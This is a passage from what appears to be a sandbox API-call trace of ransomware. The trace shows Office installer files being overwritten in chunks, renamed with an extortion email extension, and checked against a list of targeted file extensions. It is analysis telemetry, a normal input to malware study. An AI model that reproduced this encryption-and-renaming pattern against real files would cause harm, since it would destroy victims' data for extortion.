lpNewFilePointer=0x0) returned 1 [0047.451] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.451] ReadFile (in: hFile=0x198, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.474] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.474] ReadFile (in: hFile=0x198, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.498] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.498] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.498] ReadFile (in: hFile=0x198, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.875] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.875] WriteFile (in: hFile=0x198, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0047.886] SetEndOfFile (hFile=0x198) returned 1 [0048.187] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f71898 [0048.219] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.219] WriteFile (in: hFile=0x198, lpBuffer=0x3f71898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f71898*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.227] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.227] WriteFile (in: hFile=0x198, lpBuffer=0x3f71898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f71898*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.229] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.229] WriteFile (in: hFile=0x198, lpBuffer=0x3f71898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f71898*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.230] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f71898 | out: hHeap=0x4b0000) returned 1 [0048.230] CloseHandle (hObject=0x198) returned 1 [0048.230] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0048.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.231] lstrlenW (lpString=".doc") returned 4 [0048.231] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.231] lstrlenW (lpString=".docx") returned 5 [0048.231] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0048.231] lstrlenW (lpString=".pdf") returned 4 [0048.231] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.231] lstrlenW (lpString=".xls") returned 4 [0048.231] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.231] lstrlenW (lpString=".xlsx") returned 5 [0048.231] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0048.231] lstrlenW (lpString=".ppt") returned 4 [0048.231] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.231] lstrlenW (lpString=".zip") returned 4 [0048.231] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.231] lstrlenW (lpString=".rar") returned 4 [0048.231] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.231] lstrlenW (lpString=".bz2") returned 4 [0048.231] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.231] lstrlenW (lpString=".7z") returned 3 [0048.231] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.231] lstrlenW (lpString=".dbf") returned 4 [0048.231] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.231] lstrlenW (lpString=".1cd") returned 4 [0048.231] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.231] lstrlenW (lpString=".jpg") returned 4 [0048.232] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.232] lstrlenW (lpString=".doc") returned 4 [0048.232] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.232] lstrlenW (lpString=".docx") returned 5 [0048.232] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0048.232] lstrlenW (lpString=".pdf") returned 4 [0048.232] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.232] lstrlenW (lpString=".xls") returned 4 [0048.232] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.232] lstrlenW (lpString=".xlsx") returned 5 [0048.232] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0048.232] lstrlenW (lpString=".ppt") returned 4 [0048.232] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.232] lstrlenW (lpString=".zip") returned 4 [0048.232] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.232] lstrlenW (lpString=".rar") returned 4 [0048.232] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.232] lstrlenW (lpString=".bz2") returned 4 [0048.232] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.232] lstrlenW (lpString=".7z") returned 3 [0048.232] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.232] lstrlenW (lpString=".dbf") returned 4 [0048.232] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.232] lstrlenW (lpString=".1cd") returned 4 [0048.232] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.233] lstrlenW (lpString=".jpg") returned 4 [0048.233] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.233] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0048.233] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0048.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.873] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=10798080) returned 1 [0048.873] CloseHandle (hObject=0x218) returned 1 [0048.873] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0048.873] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0048.873] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0048.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.874] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.874] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.874] ReadFile (in: hFile=0x218, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.878] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.878] ReadFile (in: hFile=0x218, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.884] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.884] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.884] ReadFile (in: hFile=0x218, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.900] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.900] WriteFile (in: hFile=0x218, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0049.107] SetEndOfFile (hFile=0x218) returned 1 [0049.107] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ed1060 [0049.110] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.110] WriteFile (in: hFile=0x218, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.110] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.111] WriteFile (in: hFile=0x218, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.112] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.112] WriteFile (in: hFile=0x218, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.117] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed1060 | out: hHeap=0x4b0000) returned 1 [0049.117] CloseHandle (hObject=0x218) returned 1 [0049.117] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.117] lstrlenW (lpString=".doc") returned 4 [0049.117] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.117] lstrlenW (lpString=".docx") returned 5 [0049.117] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.117] lstrlenW (lpString=".pdf") returned 4 [0049.117] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.117] lstrlenW (lpString=".xls") returned 4 [0049.117] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.117] lstrlenW (lpString=".xlsx") returned 5 [0049.117] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.117] lstrlenW (lpString=".ppt") returned 4 [0049.117] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.117] lstrlenW (lpString=".zip") returned 4 [0049.117] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.117] lstrlenW (lpString=".rar") returned 4 [0049.117] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.117] lstrlenW (lpString=".bz2") returned 4 [0049.118] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.118] lstrlenW (lpString=".7z") returned 3 [0049.118] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.118] lstrlenW (lpString=".dbf") returned 4 [0049.118] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.118] lstrlenW (lpString=".1cd") returned 4 [0049.118] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.118] lstrlenW (lpString=".jpg") returned 4 [0049.118] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.118] lstrlenW (lpString=".doc") returned 4 [0049.118] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.118] lstrlenW (lpString=".docx") returned 5 [0049.118] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.118] lstrlenW (lpString=".pdf") returned 4 [0049.118] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.118] lstrlenW (lpString=".xls") returned 4 [0049.118] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.118] lstrlenW (lpString=".xlsx") returned 5 [0049.118] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.118] lstrlenW (lpString=".ppt") returned 4 [0049.118] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.118] lstrlenW (lpString=".zip") returned 4 [0049.118] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.118] lstrlenW (lpString=".rar") returned 4 [0049.118] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.118] lstrlenW (lpString=".bz2") returned 4 [0049.118] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.119] lstrlenW (lpString=".7z") returned 3 [0049.119] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.119] lstrlenW (lpString=".dbf") returned 4 [0049.119] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.119] lstrlenW (lpString=".1cd") returned 4 [0049.119] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0049.119] lstrlenW (lpString=".jpg") returned 4 [0049.119] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.119] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0049.119] lstrlenW (lpString="Office32WW.msi") returned 14 [0049.119] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.119] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1992192) returned 1 [0049.119] CloseHandle (hObject=0x218) returned 1 [0049.119] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0049.120] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.120] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0049.120] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.120] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.120] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.120] ReadFile (in: hFile=0x218, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.124] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.124] ReadFile (in: hFile=0x218, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.130] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.130] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.130] ReadFile (in: hFile=0x218, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.278] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.278] WriteFile (in: hFile=0x218, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0049.307] SetEndOfFile (hFile=0x218) returned 1 [0049.332] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ec1058 [0049.375] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.375] WriteFile (in: hFile=0x218, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.376] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.376] WriteFile (in: hFile=0x218, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.378] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.378] WriteFile (in: hFile=0x218, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.379] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec1058 | out: hHeap=0x4b0000) returned 1 [0049.379] CloseHandle (hObject=0x218) returned 1 [0049.380] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.380] lstrlenW (lpString=".doc") returned 4 [0049.380] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.380] lstrlenW (lpString=".docx") returned 5 [0049.380] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.380] lstrlenW (lpString=".pdf") returned 4 [0049.380] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.380] lstrlenW (lpString=".xls") returned 4 [0049.380] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.380] lstrlenW (lpString=".xlsx") returned 5 [0049.380] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.380] lstrlenW (lpString=".ppt") returned 4 [0049.380] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.380] lstrlenW (lpString=".zip") returned 4 [0049.380] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.380] lstrlenW (lpString=".rar") returned 4 [0049.380] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.380] lstrlenW (lpString=".bz2") returned 4 [0049.380] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.380] 